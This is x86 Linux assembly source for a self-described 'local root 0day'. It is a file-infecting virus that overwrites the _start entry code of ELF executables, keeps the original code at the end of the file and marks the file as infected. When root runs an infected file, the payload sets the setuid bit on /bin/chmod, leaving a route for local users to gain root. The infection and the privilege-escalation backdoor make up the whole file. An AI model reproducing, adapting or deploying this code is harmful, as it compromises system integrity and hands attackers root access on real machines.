.text
.global main
			# local root 0day (infeccion de _start)
			# Coded by sha0@BadCheckSum.com
			# only works at 2.4.x and  2.6.(<11)
main:
	push %ebp
	movl %esp, %ebp
	subl $500, %esp  	#si el codigo del bicho es mas grande, habra k ampliar este buffer

get_param:
	movl 0x0c(%ebp), %eax
	movl 4(%eax), %ebx		# ebx  ->  argv[1]

open_host:
	movl $5, %eax
	movl $2, %ecx
	int $0x80
	movl %eax, -4(%ebp)	# descriptor en -4

calc_len:
	movl $19, %eax
	movl -4(%ebp), %ebx
	xorl %ecx, %ecx
	movl $2, %edx
	int $0x80             
	movl %eax, -8(%ebp)	# longitud del host en -8

mapeo:
	movl $90, %eax
	xorl %ecx, %ecx
	pushl %ecx		# offset 0
	pushl -4(%ebp)		# descriptor 
	pushl $1		# privado     0x22
	pushl $3		# read|write  0x07
	pushl -8(%ebp) 		# size
	pushl %ecx		# nulo, para que nos indique mmap donde.
	movl %esp, %ebx
	int $0x80
	cmp $0xfffff000, %eax
	jbe ident

	# error en el mapa
	jmp ending

ident:
	movl %eax, -12(%ebp)     # -12  -> VA del mapa
				 # eax  -> VA del mapa

	cmpl $0x464c457f, (%eax)	 # es elf?
	jne  not_elf
	cmpb $0x02, 0x10(%eax)		 # es ejecutable?
	jne  not_elf	
	cmpl $0xde, 0x07(%eax)	 # comprobar si ya ha sido infectado
	je   not_elf

	movl $0xde, 0x07(%eax)	 # Marca de infeccion

guarda_init:
	movl $end_vir, %ecx
	#addl $5, %ecx
	subl $start_vir, %ecx
	movl %ecx,-16(%ebp)	# -16 -> size del virus + 5
				# ecx -> size del virus + 5

	leal -500(%ebp), %edi	# edi  -> -500
	movl 0x18(%eax), %esi	# esi  -> RVA e_entry
	movl 0x2c(%eax), %ecx	# Numero de PH's (e_phnum) (cuenta atras)

primer_ph:
	movl 0x1c(%eax), %edx	# edx  -> RVA e_phoff
	addl %eax, %edx		# edx  -> VA  e_phoff

busca_ph:
	cmpl %esi, 0x08(%edx)	# if e_entry > p_vaddr => siguiente PH
	jna destino

siguiente_ph:
	addl 0x2a(%edx), %edx
	loop    busca_ph


destino: ######### LA CLAVE DE TODO ##########
	subl 0x08(%edx), %esi   # esi  -> RVA e_entry-p_vaddr
	addl 0x04(%edx), %esi  # esi  -> RVA e_entry-p_vaddr+p_offset
	#addl $0x34, %esi	# alineacion #subl $0x30 -> _init
	                                     #addl $0x34 -> _start (p_offset)
	#subl $0x65, %esi
	addl %eax, %esi		# esi  -> VA  e_entry-p_vaddr+p_offset
	movl %esi, %edx

salvo_start:
	movl -16(%ebp), %ecx	# virus size
	rep movsb		# copiando _start en -400

guarda_virus:
	movl %edx, %edi		# edi  -> VA del entry point
	movl $start_vir, %esi	# esi  -> VA del inicio del virus
	movl -16(%ebp), %ecx	# ecx  -> size del virus
	rep movsb

	jmp sincroniza

not_elf:
	movl $4, %eax
	movl $1, %ebx
	movl $notelf, %ecx
	movl $28, %edx
	int $0x80

sincroniza:
	movl %eax, %ebx		# ebx  -> mapa
	movl $144, %eax		# eax  -> msync
	movl -8(%ebp),%ecx	# ecx  -> size del mapa
	movl $2, %edx		# edx  -> flags
	int $0x80

desmapea: 
	movl $91, %eax
	movl -12(%ebp), %ebx	# VA inicial del mapa
	movl -8(%ebp), %ecx	# size del mapa
	int $0x80

seek_end:
	movl $19, %eax		# lseek
	movl -4(%ebp), %ebx	
	xorl %ecx, %ecx
	movl $2, %edx		# SEEK_END
	int $0x80	
write:
	movl $4, %eax		
	movl -4(%ebp), %ebx
	leal -500(%ebp), %ecx
	movl -16(%ebp), %edx
	int $0x80

cierra_host:
	movl $6, %eax
	movl -4(%ebp), %ebx
	int $0x80

utime:
	#movl $30, %eax
	#int $0x80


ending:
	movl $6, %eax
	int $0x80
	
	leave
	ret

######################################################################
start_vir:
	pusha					# Para una restauracion
	subl $400, %esp
	#movl %esp, (0xbffffd04)			# de los registros al final
	#movl $0xbffffb00, %esp

	call delta	# ebp  -> delta offset

payload_code:				# PAYLOAD #

soy_root:
	movl    $0x18, %eax	
	int	$0x80						#__NR_getuid
	test	%eax, %eax

no_pues_fuera:
	jnz	end_payload_code	


forkeamos:						# si ejecuto un "/bin/cp" perderia la ejecucion
	#movl	$2, %eax
	#int	$0x80
	#test	%eax, %eax
	#jnz	esperar_fin_del_hijo

estruc_argumentos:
	#leal	copy(%ebp), %eax
	#movl	%eax, -112(%esp)

	#leal	shell(%ebp),%eax
	#movl	%eax, -108(%esp)		# estructura de a *argv[]  {arg0, arg1, arg2, null}

	#leal	shushi(%ebp), %eax
	#movl	%eax, -104(%esp)

	#xorl    %eax, %eax
	#movl	%eax, -100(%esp)		

copiar_bash:
	#movl	$0x0b, %eax
	#leal    copy(%ebp), %ebx	# programa copy
	#leal	-112(%esp), %ecx	# estructura de argumentos
	#xorl 	%edx, %edx		# sin environtments
	#int	$0x80			# copiar 

fin_hijo:
	#xorl	%ebx, %ebx
	#movl	$1, %eax
	#int	$0x80


esperar_fin_del_hijo:
	#movl	%eax, %ebx
	#movl	$7, %eax
	#xorl	%ecx, %ecx
	#xorl	%edx, %edx
	#int	$0x80			# __NR_waitpid

setuidar:
	movl	$0x0f, %eax		
	leal	shushi(%ebp), %ebx
	movl	$04777, %ecx
	int	$0x80			# __NR_chmod			


end_payload_code:			############

	

calcula_nombre_host:
	movl $1,%edx		# edx -> length del nombre de host
	movl $0xbffffffa, %edi	# edi -> fin del nombre del host
	movl $100, %ecx		# ecx -> limite de longitud de filename
	
nombre_hostfile:
	movb (%edi), %bl
	or %bl, %bl
	jz muestra_nombre

	incb %dl
	dec  %edi
	loop nombre_hostfile

muestra_nombre:
	#or %edx, %edx		# si la length del nombre de host es cero
	#jz desproteger_host	# saltara a desproteger y no lo mostrara
		
				# edi -> argv[0]

	#movl %edi, %ecx		# argv[0]
	#movl $4, %eax		# write	
	#movl $1, %ebx		# stdout
	#int $0x80


desproteger_host:
        movl $125, %eax		# mprotect
        leal start_vir(%ebp), %ebx
        andl $0xfffff000, %ebx  # pagina del bicho
        movl $2000, %ecx        # 2 paginas a desproteger
	movl $7, %edx		# rwx
        int $0x80               # ahora ya tengo w ya puedo poner encima 
				# el codigo correcto de _start
desproteger_pila:
	movl $125, %eax		# mprotect
	movl %esp, %ebx
	andl $0xfffff000, %ebx  # pagina de pila
	int $0x80		# 

	
reconstruye_host:
	movl $5, %eax		# open
	inc %edi
	movl %edi, %ebx		# argv[0]
	xorl %ecx, %ecx		# solo me puedo abrir a mi mismo en modo 0
	int $0x80		# (O_RDONLY)

       	movl $end_vir, %esi	# final-inicio+variable del final
	subl $start_vir, %esi
	#addl $5, %esi		# esi -> virus length
	
	xorl %ecx, %ecx
	movl %eax, %ebx         # descriptor host
	movl $19, %eax          # lseek
	movl $2, %edx		# SEEK_END
	int $0x80		# nos situamos al final del host-virsize
	movl %eax, %edi		# edi -> tamanyo del host

	pushl %ecx		# offset: todo el file desde el inicio
	pushl %ebx		# descriptor
	pushl $1		# mapa privado
	pushl $1		# solo lectura (el descriptor esta modo 0)
	pushl %eax		# mapeamos todo el file
	pushl %ecx		# que me de el la address
	movl $90, %eax
	movl %esp, %ebx
	int $0x80
	cmp $0xfffff000, %eax
	jbe reconstruye

	int $3

reconstruye:
	addl %edi, %eax		# eax -> final del mapa
	subl %esi, %eax		# eax -> inicio del saved _start

	movl %esi, -110(%esp) 	# -110 -> virisize
	movl %eax, -114(%esp)	# -114 -> saved _start en el mapa

	movl $fin_paranoia, %ecx	# como que no me puedo borrar a mi 
	subl $paranoia, %ecx		# mismo, porque perderia la ejecucion
	leal paranoia(%ebp), %esi	# copio el codigo de borrado a otro
	movl %esp, %edi			# area de memoria y desvio la ejecucion
	rep movsb			# ahi.
	jmp *%esp

paranoia:
	movl -110(%esp), %ecx
	movl -114(%esp), %esi
	leal start_vir(%ebp), %edi
	rep movsb

proteger_host:
        movl $125, %eax         # mprotect
        leal start_vir(%ebp), %ebx
        andl $0xfffff000, %ebx  # pagina del bicho
        movl $2000, %ecx        # 2 paginas a desproteger
        movl $5, %edx           # r-x
        int $0x80               # ahora ya tengo w ya puedo poner encima
                                # el codigo correcto de _start
proteger_pila:
	movl $125, %eax         # mprotect
	movl %esp, %ebx
        andl $0xfffff000, %ebx  # pagina de pila
	movl $6, %edx		# rw-
        int $0x80               #

	movl $6, %eax          # close
	int $0x80              # ebx descriptor

	leal start_vir(%ebp), %eax
	movl %eax, (0xbffffd00)
	addl $424,%esp                 # de los registros al final
	popa
	
	jmp *(0xbffffd00)	#no puedo estropear registros, uso direccion hardcodeada
fin_paranoia:
	

delta:
	call getDelta
getDelta:
	popl %ebp
	subl $getDelta, %ebp
	ret

copy:
	.string "/bin/cp\0"
shell:
	.string "/bin/sh\0"
shushi:
	.string "/bin/chmod\0"

end_vir:
#######################################################################

notelf:
	.string "NOT ELF OR INFECTED YET!!!\n\0"
fin:
